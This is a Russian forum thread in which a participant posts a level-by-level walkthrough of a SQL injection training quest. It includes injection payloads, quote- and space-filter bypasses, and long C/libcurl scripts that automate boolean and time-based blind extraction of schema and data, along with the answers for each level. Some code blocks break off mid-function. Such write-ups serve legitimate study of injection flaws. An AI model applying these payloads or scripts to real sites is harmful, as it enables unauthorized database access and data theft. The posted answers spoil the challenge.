    select if((select count(*) from information_schema.columns where table_name='davidblayne')=2,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
    Основано на запросе выше

    Тут 5 столбцов. Теперь их имена.

    Долго думал как сделать, оказалось что если взять ASCII от несуществующего символа - вернется 0. Длинна не нужна.

    У меня ушло много времени чтобы придумать как имена столцов, ведь для этого надо получить имя одного определенного столбца, потом я наткнулся на ordinal_position и мои проблемы решились.

    .SpoilerTarget" type="button">Spoiler

    [CODE]
    #include
    #include
    #include
    #include

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
    int result = size * nmemb;
    if(*buffer)
    {
    *buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
    strcat(*buffer,data);
    }
    else
    {
    *buffer=(char*)calloc(result+1,sizeof(char));
    strcpy(*buffer,data);
    }
    return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
    CURL *curl;
    CURLcode performReturn;
    curl_global_init(CURL_GLOBAL_DEFAULT);
    curl = curl_easy_init();

    if(curl)
    {

    curl_easy_setopt(curl, CURLOPT_URL, URL);
    curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
    if(postData)
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

    performReturn = curl_easy_perform(curl);

    if(performReturn != CURLE_OK)
    {
    printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
    return 0;
    }
    }
    else
    return 0;

    curl_global_cleanup();

    return 1;
    }

    char findChar(int charNum,int columnNum)
    {
    char url[420], *ret;

    int cmax=255;

    while(1)
    {
    if(cmax==0)return 0;
    sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.columns+where+table_nam e%%3D%%27davidblayne%%27+and+ordinal_position%%3D% d+and+ascii%%28substring%%28column_name%%2C%d%%2C1 %%29%%29>%d%%29%%3D1%%2CBENCHMARK%%285000000%%2CEN CODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas +Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",column Num,charNum,cmax);//>
    ret=NULL;
    unsigned int start_time = clock();
    curlPOST(url,NULL,&ret);
    unsigned int end_time = clock();
    free(ret);

    if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;

    }

    return -1;
    }

    void main()
    {

    int i,i1;
    char curChar;

    for(i=0;i

    Код:

    select if((select count(*) from information_schema.columns where table_name='davidblayne' and ordinal_position=1 and ascii(substring(column_name,1,1))=105)=1,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
    Основано на запросе выше.

    Имена столбцов следующие (из за проблем с соединением или ошибками в коде пришлось запускать несколько раз, иногда путало символы).
    • first
    • second
    • morkovka
    • wtf
    • genius
    Имена в итогу вышли читаемыее и осмысленные, я на верном пути. Осталось узнать что хранится в каждом из них. Звучит не слишком сложно.

    .SpoilerTarget" type="button">Spoiler

    [CODE]
    #include
    #include
    #include
    #include

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
    int result = size * nmemb;
    if(*buffer)
    {
    *buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
    strcat(*buffer,data);
    }
    else
    {
    *buffer=(char*)calloc(result+1,sizeof(char));
    strcpy(*buffer,data);
    }
    return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
    CURL *curl;
    CURLcode performReturn;
    curl_global_init(CURL_GLOBAL_DEFAULT);
    curl = curl_easy_init();

    if(curl)
    {

    curl_easy_setopt(curl, CURLOPT_URL, URL);
    curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
    if(postData)
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

    performReturn = curl_easy_perform(curl);

    if(performReturn != CURLE_OK)
    {
    printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
    return 0;
    }
    }
    else
    return 0;

    curl_global_cleanup();

    return 1;
    }

    char findChar(int charNum,char *tableName)
    {
    char url[420], *ret;

    int cmax=255;

    while(1)
    {
    if(cmax==0)return 0;
    sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+level10.davidblayne+where+ascii%%28substri ng%%28%s%%2C%d%%2C1%%29%%29>%d%%29%%3D1%%2CBENCHMA RK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2 C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cn ull%%29%%3B",tableName,charNum,cmax);//>
    ret=NULL;
    unsigned int start_time = clock();
    curlPOST(url,NULL,&ret);
    unsigned int end_time = clock();
    free(ret);

    if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;

    }

    return -1;
    }

    void main()
    {

    int i,i1;
    char curChar;
    char *tableList[]={"first","second","morkovka","wtf","genius"};

    for(i=0;i

    Код:

    select if((select count(*) from level10.davidblayne where ascii(substring(first,1,1))=105)=1,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
    Основано на запросе выше.

    Содержимое базы следующее:
    • 55
    • 44
    • wantamorkovka
    • wtf?
    • yes
    Что из них ответ - догадайтесь сами. Квест пройден.

BabaDook 29.06.2015 18:21

Сам прошёл, да ?

frank 29.06.2015 18:39

Цитата:

Сообщение от Dude

Сразу скажу: с MySQL я знаком на уровне "когда то читал посвященный ей chm", с инъекциями примерно так же, поэтому не ждите от меня красивых решений. Я знаю что метод двоичного поиска реализован лишь на половину, а программы написаны кривовато, т.к. писались чтобы использовать один раз и забыть. Если нужно - могу привести код в порядок.
  1. Все просто, вводим запрос как он будет:

    Код:

    select pass from users where id=12;
    Ответ: QwErTy
  2. Тут надо отбросить то что нам мешает, примерно так: ' or id=9;#

    В итоге пучится :

    Код:

    select * from users where id=2 or login='' or id=9;#'
    # - начало комментария, все что за ней - отпросится.

    Ответ: secreto
  3. То же самое: ' or id=13;#

    Код:

    select * from users where id=2 or login='' or id=13;#' limit 1
    Видимо предыдущий я решил как то неверно, потому что решение подошло и сюда

    Ответ: iwanttogo4
  4. Нужно отбросить лимит и приклеить еще один запрос:

    Код:

    select * from users where id=2 or login='' union select * from secret where ggg='abc';#' limit 1
    Ответ: dg
  5. То же, что и в предыдущем, но не совпадает количество столбцов. Добьем недостающий единицей:

    Код:

    select * from users where id=2 or login='' union select *,1 from secret;#' limit 1
    Ответ: thisisapass232
  6. Нужно решить проблему фильтрации кавычки:

    Код:

    select * from users where id=0 or login=CHAR(0x67,0x6f,0x64) limit 1
    Ответ: ivarywantlevel7

    Хорошо, что вы не знаете как я решал задачу сначала...
  7. Нужно решить проблему фильтрации всего (пробелов, скобок, кавычек, чего то еще).

    Пробелы успешно меняются на /**/.

    Кавычки исключаются, строка представляется в виде шестнадцатеричных значений символов ее составляющих. Неизвестная группа символов меняется на % (0x25).

    Код:

    select * from users where id=0/**/or/**/login/**/like/**/0x2567656e746f6f25 limit 1
    Ответ: level8please

    Хорошо, что вы не знаете что тут я пытался сделать то же, что и в шестом в начале...
  8. Тут слепая инъекция, будем искать пароль посимвольно методом подбора. В данном случае это вполне нормально, однако когда надо найти длинные строки лучше бы использовать метод двоичной сортировки.

    Сначала узнаем его длину (привожу только то что ввел я, а не весь запрос):

    Код:

    0 union select * from users where login='fast' and LENGTH(pass)>3
    нашло одного такого, пароль явно длиннее трех символов

    [CODE]
    0 union select * from users where login='fast' and LENGTH(pass)
    .SpoilerTarget" type="button">Spoiler: Код

    [CODE]
    #include
    #include
    #include

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
    int result = size * nmemb;
    if(*buffer)
    {
    *buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
    strcat(*buffer,data);
    }
    else
    {
    *buffer=(char*)calloc(result+1,sizeof(char));
    strcpy(*buffer,data);
    }
    return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
    CURL *curl;
    CURLcode performReturn;
    curl_global_init(CURL_GLOBAL_DEFAULT);
    curl = curl_easy_init();

    if(curl)
    {

    curl_easy_setopt(curl, CURLOPT_URL, URL);
    curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
    if(postData)
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

    performReturn = curl_easy_perform(curl);

    if(performReturn != CURLE_OK)
    {
    printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
    return 0;
    }
    }
    else
    return 0;

    curl_global_cleanup();

    return 1;
    }

    void main()
    {
    char *ret;
    char url[255];
    char symb=0;
    int i,i1;
    char res=0;

    printf("Password charcode: 0x");
    for(i=1;i
    Все основано на следующем запросе (привожу только мою часть):

    Код:

    0 union select * from users where login='fast' and ASCII(SUBSTRING(pass,1,1))=57
    Ответ: 9levlpass
  9. Тут то же самое. Слепая иньекция. Нужно нормально реализовывать поиск. Все по аналогии с предыдущим заданием, в комментариях не нуждается.

    .SpoilerTarget" type="button">Spoiler

    [CODE]
    #include
    #include
    #include

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
    int result = size * nmemb;
    if(*buffer)
    {
    *buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
    strcat(*buffer,data);
    }
    else
    {
    *buffer=(char*)calloc(result+1,sizeof(char));
    strcpy(*buffer,data);
    }
    return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
    CURL *curl;
    CURLcode performReturn;
    curl_global_init(CURL_GLOBAL_DEFAULT);
    curl = curl_easy_init();

    if(curl)
    {

    curl_easy_setopt(curl, CURLOPT_URL, URL);
    curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
    if(postData)
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

    performReturn = curl_easy_perform(curl);

    if(performReturn != CURLE_OK)
    {
    printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
    return 0;
    }
    }
    else
    return 0;

    curl_global_cleanup();

    return 1;
    }

    int getLoginLength(int id)
    {
    char url[255], *ret, state;
    sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+length%%28login%%29>0",id) ;

    ret=NULL;
    curlPOST(url,NULL,&ret);
    state=*(ret+394);
    free(ret);

    if(state!='1')return -1;

    int cmax=20;//будем считать что нет логинов длиннее 20

    while(1)
    {
    sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+length%%28login%%29
    В итоге их логины:
    • 48
    • 131
    • 125
    • 1104
    • 182
    • 51
    • 195
    • 5
    • 136
    • 121
    • 127
    Ответ: 2225
  10. Слепой запрос без вывода, time-based injection.

    Не извесно ничего. Надо узнать хоты бя имена таблиц (и их количество).

    Код:

    select if((select count(1) from information_schema.schemata)=6,BENCHMARK(1000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
    Задержка выполняется при условии что количество баз равно 6. И так, цифра за цифрой, подбираем количество баз.

    .SpoilerTarget" type="button">Spoiler

    Код:

    #include
    #include
    #include
    #include 

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
      int result = size * nmemb;
      if(*buffer)
      {
        *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
        strcat(*buffer,data);
      }
      else
      {
        *buffer=(char*)calloc(result+1,sizeof(char));
        strcpy(*buffer,data);
      }
      return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
      CURL *curl;
      CURLcode performReturn;
      curl_global_init(CURL_GLOBAL_DEFAULT);
      curl = curl_easy_init();

      if(curl)
      {

        curl_easy_setopt(curl, CURLOPT_URL, URL);
        curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
        if(postData)
          curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

        performReturn = curl_easy_perform(curl);

        if(performReturn != CURLE_OK)
        {
          printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
          return 0;
        }
      }
      else
        return 0;

      curl_global_cleanup();

      return 1;
    }

    void main()
    {
      char url[255], *ret, state;
      int i;
      double time[50];

      int colcount=0;

      while(1)
      {
        sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%281%%29+from+information_schema.schemata%%29%%3D%d%%2CBENCHMARK%%281000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
        ret=NULL;

        unsigned int start_time =  clock();
        curlPOST(url,NULL,&ret);
        unsigned int end_time = clock();
        free(ret);
        if( ((double)end_time - (double)start_time)>870.0)
        {
        printf("we have %d columns\n",colcount);
        break;
        }
        else
        printf("we have mote than %d columns\n",colcount);
        ++colcount;
      }

      system("pause");
    }

    Оказывается две базы. Одна ясна - information_schema. Ищем имя второй.

    Сначала находим длину.

    .SpoilerTarget" type="button">Spoiler

    Код:

    #include
    #include
    #include
    #include 

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
      int result = size * nmemb;
      if(*buffer)
      {
        *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
        strcat(*buffer,data);
      }
      else
      {
        *buffer=(char*)calloc(result+1,sizeof(char));
        strcpy(*buffer,data);
      }
      return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
      CURL *curl;
      CURLcode performReturn;
      curl_global_init(CURL_GLOBAL_DEFAULT);
      curl = curl_easy_init();

      if(curl)
      {

        curl_easy_setopt(curl, CURLOPT_URL, URL);
        curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
        if(postData)
          curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

        performReturn = curl_easy_perform(curl);

        if(performReturn != CURLE_OK)
        {
          printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
          return 0;
        }
      }
      else
        return 0;

      curl_global_cleanup();

      return 1;
    }

    void main()
    {
      char url[420], *ret, state;
      int i;
      double time[50];

      int dbNameLen=0;

      while(1)
      {
        sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.schemata+where+schema_name+!%%3D%%27information_schema%%27+and+length%%28schema_name%%29%%3D%d%%29%%2CBENCHMARK%%281000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",dbNameLen);
        ret=NULL;

        unsigned int start_time =  clock();
        curlPOST(url,NULL,&ret);
        unsigned int end_time = clock();
        free(ret);
        if( ((double)end_time - (double)start_time)>870.0)
        {
        printf("Db name have %d characters\n",dbNameLen);
        break;
        }
        else
        printf("we have mote than %d characters\n",dbNameLen);
        ++dbNameLen;
      }

      system("pause");
    }

    Код:

    select if((select count(*) from information_schema.schemata where schema_name !='information_schema' and length(schema_name)=3),BENCHMARK(1000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
    Все основано на этом запросе выше.

    Длина имени базы равна 7 символов.

    Теперь имя. По буквам (из за неточности пришлось увеличить задержку).

    .SpoilerTarget" type="button">Spoiler

    [CODE]
    #include
    #include
    #include
    #include

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
    int result = size * nmemb;
    if(*buffer)
    {
    *buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
    strcat(*buffer,data);
    }
    else
    {
    *buffer=(char*)calloc(result+1,sizeof(char));
    strcpy(*buffer,data);
    }
    return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
    CURL *curl;
    CURLcode performReturn;
    curl_global_init(CURL_GLOBAL_DEFAULT);
    curl = curl_easy_init();

    if(curl)
    {

    curl_easy_setopt(curl, CURLOPT_URL, URL);
    curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
    if(postData)
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

    performReturn = curl_easy_perform(curl);

    if(performReturn != CURLE_OK)
    {
    printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
    return 0;
    }
    }
    else
    return 0;

    curl_global_cleanup();

    return 1;
    }

    char findChar(int charNum)
    {
    char url[420], *ret;

    int cmax=255;

    while(1)
    {
    sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.schemata+where+schema_n ame+!%%3D%%27information_schema%%27+and+ascii%%28S UBSTRING%%28schema_name%%2C%d%%2C1%%29%%29>%d%%29% %2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+B OMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%2 9%%29%%2Cnull%%29%%3B",charNum,cmax);
    ret=NULL;
    unsigned int start_time = clock();
    curlPOST(url,NULL,&ret);
    unsigned int end_time = clock();
    free(ret);

    if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;

    }

    return -1;
    }

    void main()
    {

    int i;

    for(i=0;i

    База называется "level10". Какой сюрприз. Мог бы и догадатся.

    Код:

    select if((select count(*) from information_schema.schemata where schema_name !='information_schema' and ascii(SUBSTRING(schema_name,1,1))=50),BENCHMARK(1000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
    На этом запросе основывался поиск имени базы

    Теперь найдем количество таблиц в базе.

    .SpoilerTarget" type="button">Spoiler

    Код:

    #include
    #include
    #include
    #include 

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
      int result = size * nmemb;
      if(*buffer)
      {
        *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
        strcat(*buffer,data);
      }
      else
      {
        *buffer=(char*)calloc(result+1,sizeof(char));
        strcpy(*buffer,data);
      }
      return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
      CURL *curl;
      CURLcode performReturn;
      curl_global_init(CURL_GLOBAL_DEFAULT);
      curl = curl_easy_init();

      if(curl)
      {

        curl_easy_setopt(curl, CURLOPT_URL, URL);
        curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
        if(postData)
          curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

        performReturn = curl_easy_perform(curl);

        if(performReturn != CURLE_OK)
        {
          printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
          return 0;
        }
      }
      else
        return 0;

      curl_global_cleanup();

      return 1;
    }

    void main()
    {
      char url[255], *ret, state;
      int i;
      double time[50];

      int colcount=0;

      while(1)
      {
        sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.tables+where+table_schema%%3D%%27level10%%27%%29%%3D%d%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
        ret=NULL;

        unsigned int start_time =  clock();
        curlPOST(url,NULL,&ret);
        unsigned int end_time = clock();
        free(ret);
        if( ((double)end_time - (double)start_time)>2500.0)
        {
          printf("we have %d table\n",colcount);
          break;
        }
        else
          printf("we have mote than %d tables\n",colcount);
        ++colcount;
      }

      system("pause");
    }

    Код:

    select if((select count(*) from information_schema.tables where table_schema='level10')=1,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
    Все на основе запроса выше.

    Таблица одна. Теперь ее имя.

    Как всегда, сначала его длинна.

    .SpoilerTarget" type="button">Spoiler

    Код:

    #include
    #include
    #include
    #include 

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
      int result = size * nmemb;
      if(*buffer)
      {
        *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
        strcat(*buffer,data);
      }
      else
      {
        *buffer=(char*)calloc(result+1,sizeof(char));
        strcpy(*buffer,data);
      }
      return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
      CURL *curl;
      CURLcode performReturn;
      curl_global_init(CURL_GLOBAL_DEFAULT);
      curl = curl_easy_init();

      if(curl)
      {

        curl_easy_setopt(curl, CURLOPT_URL, URL);
        curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
        if(postData)
          curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

        performReturn = curl_easy_perform(curl);

        if(performReturn != CURLE_OK)
        {
          printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
          return 0;
        }
      }
      else
        return 0;

      curl_global_cleanup();

      return 1;
    }

    void main()
    {
      char url[320], *ret, state;
      int i;
      double time[50];

      int colcount=0;

      while(1)
      {
        sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.tables+++where+table_schema%%3D%%27level10%%27+and+length%%28table_name%%29%%3D%d%%29%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
        ret=NULL;

        unsigned int start_time =  clock();
        curlPOST(url,NULL,&ret);
        unsigned int end_time = clock();
        free(ret);
        if( ((double)end_time - (double)start_time)>2500.0)
        {
          printf("we have %d symbols\n",colcount);
          break;
        }
        else
          printf("we have mote than %d symbols\n",colcount);
        ++colcount;
      }

      system("pause");
    }

    Код:

    select if((select count(*) from information_schema.tables where table_schema='level10' and length(table_name)=3),BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
    Основано на запросе выше.

    Длина имени таблицы - 11 символов.

    А вот теперь ее имя.

    .SpoilerTarget" type="button">Spoiler

    [CODE]
    #include
    #include
    #include
    #include

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
    int result = size * nmemb;
    if(*buffer)
    {
    *buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
    strcat(*buffer,data);
    }
    else
    {
    *buffer=(char*)calloc(result+1,sizeof(char));
    strcpy(*buffer,data);
    }
    return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
    CURL *curl;
    CURLcode performReturn;
    curl_global_init(CURL_GLOBAL_DEFAULT);
    curl = curl_easy_init();

    if(curl)
    {

    curl_easy_setopt(curl, CURLOPT_URL, URL);
    curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
    if(postData)
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

    performReturn = curl_easy_perform(curl);

    if(performReturn != CURLE_OK)
    {
    printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
    return 0;
    }
    }
    else
    return 0;

    curl_global_cleanup();

    return 1;
    }

    char findChar(int charNum)
    {
    char url[420], *ret;

    int cmax=255;

    while(1)
    {
    sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.tables+where+table_sche ma%%3D%%27level10%%27+and+ascii%%28SUBSTRING%%28ta ble_name%%2C%d%%2C1%%29%%29>%d%%29%%2CBENCHMARK%%2 85000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27 Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%% 29%%3B",charNum,cmax);
    ret=NULL;
    unsigned int start_time = clock();
    curlPOST(url,NULL,&ret);
    unsigned int end_time = clock();
    free(ret);

    if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;

    }

    return -1;
    }

    void main()
    {

    int i;

    for(i=0;i

    Код:

    select if((select count(*) from information_schema.tables where table_schema='level10' and ascii(SUBSTRING(table_name,1,1))=99),BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
    Имя таблицы: davidblayne

    Вдруг это уже ответ? Нет, нас еще помучают.

    Теперь количество строк ней (хоть это не сложно):

    .SpoilerTarget" type="button">Spoiler

    Код:

    #include
    #include
    #include
    #include 

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
      int result = size * nmemb;
      if(*buffer)
      {
        *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
        strcat(*buffer,data);
      }
      else
      {
        *buffer=(char*)calloc(result+1,sizeof(char));
        strcpy(*buffer,data);
      }
      return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
      CURL *curl;
      CURLcode performReturn;
      curl_global_init(CURL_GLOBAL_DEFAULT);
      curl = curl_easy_init();

      if(curl)
      {

        curl_easy_setopt(curl, CURLOPT_URL, URL);
        curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
        if(postData)
          curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

        performReturn = curl_easy_perform(curl);

        if(performReturn != CURLE_OK)
        {
          printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
          return 0;
        }
      }
      else
        return 0;

      curl_global_cleanup();

      return 1;
    }

    void main()
    {
      char url[255], *ret, state;
      int i;
      double time[50];

      int colcount=0;

      while(1)
      {
        sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+level10.davidblayne%%29%%3D%d%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
        ret=NULL;

        unsigned int start_time =  clock();
        curlPOST(url,NULL,&ret);
        unsigned int end_time = clock();
        free(ret);
        if( ((double)end_time - (double)start_time)>870.0)
        {
          printf("we have %d columns\n",colcount);
          break;
        }
        else
          printf("we have mote than %d columns\n",colcount);
        ++colcount;
      }

      system("pause");
    }

    Код:

    select if((select count(*) from level10.davidblayne)=2,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
    На основе запроса выше выясняем - всего одна строка. Надеюсь хоть там то пароль.

    Теперь количество столбцов.

    .SpoilerTarget" type="button">Spoiler

    Код:

    #include
    #include
    #include
    #include 

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
      int result = size * nmemb;
      if(*buffer)
      {
        *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
        strcat(*buffer,data);
      }
      else
      {
        *buffer=(char*)calloc(result+1,sizeof(char));
        strcpy(*buffer,data);
      }
      return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
      CURL *curl;
      CURLcode performReturn;
      curl_global_init(CURL_GLOBAL_DEFAULT);
      curl = curl_easy_init();

      if(curl)
      {

